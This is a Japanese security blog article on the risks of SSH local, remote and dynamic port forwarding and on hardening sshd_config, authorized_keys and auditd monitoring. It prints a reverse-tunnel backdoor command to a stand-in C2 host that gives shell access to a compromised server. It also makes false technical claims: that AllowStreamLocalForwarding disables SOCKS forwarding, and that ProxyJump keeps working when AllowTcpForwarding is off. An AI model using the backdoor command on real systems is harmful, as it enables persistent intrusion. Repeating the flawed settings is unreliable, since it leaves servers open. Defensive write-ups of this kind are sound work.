SSHポートフォワーディングのセキュリティリスクと安全な設定｜攻撃者が悪用するトンネル技術と制御方法

2026年6月26日2026年7月2日

SSHポートフォワーディングは、暗号化されたトンネルを使って通信を中継する便利な機能です。リモートのデータベースに自分のPCから安全に接続したり、踏み台サーバーを経由してアクセス制限された環境に入ったりと、インフラエンジニアにとって日常的に使う技術のひとつです。
ところが同じ技術が、攻撃者にとっては「ファイアウォールをすり抜けるための道具」になります。一度サーバーへの侵入を許してしまった攻撃者が、SSHトンネルを使って内部ネットワークを横断する事例は後を絶ちません。設定をデフォルトのまま放置していると、意図せず攻撃の踏み台を提供していることにもなります。

この記事では、SSHポートフォワーディングの仕組みを攻撃者視点で整理したうえで、sshd_configでの制御方法と中小企業の情シスが今日からできる設定チェックをわかりやすく解説します。

SSHポートフォワーディングとは？3種類の仕組みを整理する

SSHポートフォワーディングとは、SSHの暗号化チャンネルを通じて別のTCPポートの通信を中継する技術です。大きく3つの種類があります。

1. ローカルフォワーディング（-L オプション）

自分のPCのローカルポートに来た通信を、SSHサーバー経由でリモートのホスト:ポートに転送します。踏み台サーバー越しにDBサーバーへ接続する場面でよく使います。

# ローカルの13306番ポートへの接続を # jumphost経由でdb.internal:3306に転送する例 ssh -L 13306:db.internal:3306 user@jumphost.example.com # 接続後、localhost:13306 でDBに接続できる mysql -h 127.0.0.1 -P 13306 -u dbuser -p

2. リモートフォワーディング（-R オプション）

SSHサーバー側のポートに来た通信を、自分のPC（またはローカルネットワーク内のホスト）に転送します。ファイアウォール越しに外部から内部サーバーへアクセスするために使われます。防御視点では、**攻撃者が内部に侵入後、外部のC2（コマンド＆コントロール）サーバーへのバックドアとして悪用しやすい**のがこのタイプです。

# 攻撃者が侵害したサーバーから外部C2サーバーの2222番ポートを経由して # 自分のPCに接続できるバックドアを作る例（概念レベル） ssh -R 2222:localhost:22 attacker@c2.attacker.example.com # 攻撃者のPCから： # ssh -p 2222 victim_user@c2.attacker.example.com # → 侵害済みサーバーのSSHに繋がる

3. ダイナミックフォワーディング（-D オプション）

SOCKS5プロキシとして動作し、クライアント側からSSHサーバーを経由して任意のホストに通信を流せます。攻撃者の視点では、内部ネットワーク全体をスキャンするためのトンネルとして使われます。

# ローカルの1080番をSOCKS5プロキシとして開く ssh -D 1080 user@jumphost.example.com # ProxyChains等を組み合わせると内部ネットワークへの # アクセスが可能になる（攻撃者が横断調査に使う手口）

攻撃者がSSHトンネルを使う理由：ファイアウォールを「正規通信」で越える

ファイアウォールは基本的にポート番号と通信方向でルールを判断します。SSHの22番ポートが許可されていれば、その中を流れるトンネルの中身は検査されません（WAFやDPIなしには）。攻撃者がSSHトンネルを悪用する主な理由はここにあります。

・検知が難しい: 正規ユーザーのSSH通信と見分けがつかない。ファイアウォールのログには単なるSSH接続として記録される
・暗号化で中身が見えない: ペイロードが暗号化されているため、内部で何を転送しているか外からわからない
・正規ツールを使う（LotL攻撃）: ssh・PuTTYなどOS標準・正規ツールを使うため、エンドポイントセキュリティに検知されにくい
・永続的なアクセスの確保: リモートフォワーディングをcron等で常時維持すれば、パスワードが変わってもバックドアが残る

特に危険なシナリオが「リバースSSHトンネル」を使ったバックドアです。攻撃者が侵害したサーバーから外部の自分のサーバーへSSH接続を張り、そこを踏み台に再アクセスします。外部→内部への接続は大抵ブロックされますが、内部→外部への接続は許可されていることが多く、ファイアウォールをすり抜けるのに最適です。

sshd_configでポートフォワーディングを制御する

SSHサーバー（sshd）にはポートフォワーディングの可否を制御するディレクティブが用意されています。デフォルトでは多くのLinuxディストリビューションでフォワーディングが有効になっているため、不要なら明示的に無効化しましょう。

# /etc/ssh/sshd_config の推奨設定（セキュリティ強化版） # デフォルト値から変更する箇所をコメントで明記 # ローカル・リモートフォワーディングを無効化（デフォルト: yes） AllowTcpForwarding no # X11フォワーディングも無効化（デフォルト: no だが念のため明示） X11Forwarding no # ダイナミックフォワーディング（SOCKSプロキシ）を無効化 # sshd 7.7+ で使用可能 AllowStreamLocalForwarding no # リモートフォワーディングで外部インターフェースへのバインドを禁止 # GatewayPorts をno にする（デフォルト: no だが明示） GatewayPorts no # 設定を反映 # sudo sshd -t ← 構文チェック（必ず実行してから reload） # sudo systemctl reload sshd

1. ユーザー・グループ単位での制御

全ユーザーのフォワーディングを禁止すると、正規の運用用途に影響が出ることもあります。そういった場合は、Match ブロックを使って特定グループだけに許可する設計が現実的です。

# /etc/ssh/sshd_config の設定例 # デフォルトは全ユーザー禁止にしておき、必要なグループだけ許可 # グローバルでは無効化 AllowTcpForwarding no # ssh-tunnelers グループのメンバーにだけ許可 Match Group ssh-tunnelers AllowTcpForwarding local # local: ローカルフォワーディングのみ許可 # remote または yes: リモートも許可（リスクが上がるため慎重に） # グループへのユーザー追加例 # sudo usermod -aG ssh-tunnelers deploy_user

2. authorized_keysでの細粒度制御

公開鍵認証を使っている場合は、`~/.ssh/authorized_keys` の中で、鍵ごとにフォワーディングを制限できます。自動デプロイ用の鍵に不必要な権限を与えないための手段として有効です。

# ~/.ssh/authorized_keys の例 # no-port-forwarding: この鍵ではフォワーディング禁止 # no-X11-forwarding: X11転送も禁止 # command="": この鍵でできるコマンドをrsyncのみに限定 no-port-forwarding,no-X11-forwarding,no-agent-forwarding,command="/usr/bin/rsync --server" ssh-rsa AAAAB3Nza...（鍵データ） # 踏み台経由で特定サーバーにだけ接続させたい場合は # no-pty も追加すると対話シェルを渡さずに済む

攻撃の早期検知：SSHトンネルの兆候を見つける方法

設定でフォワーディングを制限することに加えて、異常なSSHトンネルの兆候を監視する視点も重要です。

1. ssコマンドでアクティブなトンネルを確認


# 確立されているTCP接続をプロセス情報付きで確認
ss -tnp | grep ssh

# LISTEN状態のポートを確認（意図しないポートが開いていないか）
ss -tlnp | grep -v "127.0.0.1\|0.0.0.0:22\|::1"

# 長時間維持されているSSH接続を確認
who | grep -v "(localhost\|127.0.0.1)"

2. auditdでSSH関連イベントを記録

auditdのルールにSSHデーモンの設定ファイルへのアクセスを追加しておくと、攻撃者が設定を書き換えようとした際に記録が残ります。

# /etc/audit/rules.d/ssh-monitor.rules # sshd_config の変更を監視 -w /etc/ssh/sshd_config -p wa -k sshd_config_change # authorized_keys ファイルの変更を監視（全ユーザー） -w /root/.ssh/ -p wa -k root_ssh_change -w /home/ -p wa -k user_ssh_change # ルール反映 # sudo augenrules --load # ログ確認 # sudo ausearch -k sshd_config_change | aureport -f -i

3. ログでリモートフォワーディングの痕跡を探す

中小企業でも今日からできる対策チェックリスト

・AllowTcpForwarding no を設定する: デフォルトのまま放置している環境は要確認。設定変更後はsshdの構文チェック（sshd -t）を必ず先に実施
・GatewayPorts no を明示する: デフォルトnoだが、変更されていないか明示することで設定漏れを防ぐ
・X11Forwarding no を設定する: GUIを使わないサーバーでは不要な機能。閉じておくだけで攻撃面が減る
・公開鍵ごとにno-port-forwardingを付与する: 自動化用の鍵や一時作業用の鍵には最低限の権限だけ与える
・長時間SSHセッションを定期的に確認する: whoとssコマンドを週1回見るだけでも異常に気付ける
・sshd_configの変更をauditdで監視する: 設定ファイルを書き換えた痕跡は侵害の重要なシグナル
・ClientAliveIntervalを設定して幽霊セッションを排除する: 長期間無通信のセッションを自動切断し、放置トンネルをなくす

# /etc/ssh/sshd_config に追加 # 120秒無応答で切断、3回リトライ後に強制切断 ClientAliveInterval 120 ClientAliveCountMax 3

よくある誤解と注意点

【誤解1】VPN環境なら不要な対策では？

VPNで接続している環境でも、VPN内のホストが侵害されればSSHトンネルは有効です。特にリモートワーク環境でPCがマルウェアに感染した場合、VPN経由で社内に接続したうえでSSHトンネルを使った横断移動が起きることがあります。VPNとSSH設定の両輪で考えることが大切です。

【誤解2】AllowTcpForwarding noを設定すると踏み台接続もできなくなる？

踏み台（ジャンプホスト）としてのSSH ProxyJump（`-J`オプション）は、ポートフォワーディングとは独立した機能です。`AllowTcpForwarding no` を設定していても ProxyJump は影響を受けません。ProxyJump自体は `sshd_config` の `AllowStreamLocalForwarding` ではなく、直接のSSH接続として処理されるためです。

【誤解3】Fail2banを入れていれば大丈夫

Fail2banはブルートフォース攻撃の抑止に効果的ですが、すでに正規の認証情報でログインできてしまった攻撃者のトンネル悪用は防げません。認証を突破した後の行動を制限する「認証後のセキュリティ」として、フォワーディング制御は別の対策として必要です。

本記事のまとめ

フォワーディング種別	主な正規用途	攻撃者の悪用パターン	対策
ローカル（-L）	踏み台越しのDB接続	内部リソースへの不正アクセス経路	AllowTcpForwarding no / グループ限定許可
リモート（-R）	外部からの内部接続（正規）	リバースSSHバックドア、C2通信	AllowTcpForwarding no / GatewayPorts no
ダイナミック（-D）	SOCKS5プロキシ経由のアクセス	内部ネットワーク全体のスキャン・横断	AllowStreamLocalForwarding no

SSHポートフォワーディングは「正規の機能を攻撃者が悪用する」典型例のひとつです。sshd_configのデフォルト設定は「使いやすさ優先」であり、セキュリティ優先ではありません。インターネットに公開しているSSHサーバーはもちろん、社内ネットワーク内のサーバーでも、不要なフォワーディングは明示的に無効化しておくことを強くおすすめします。
Linuxサーバーのセキュリティ設定全般については、姉妹サイトLinuxMaster.JPでも実践的な解説を公開しています。合わせてご確認ください。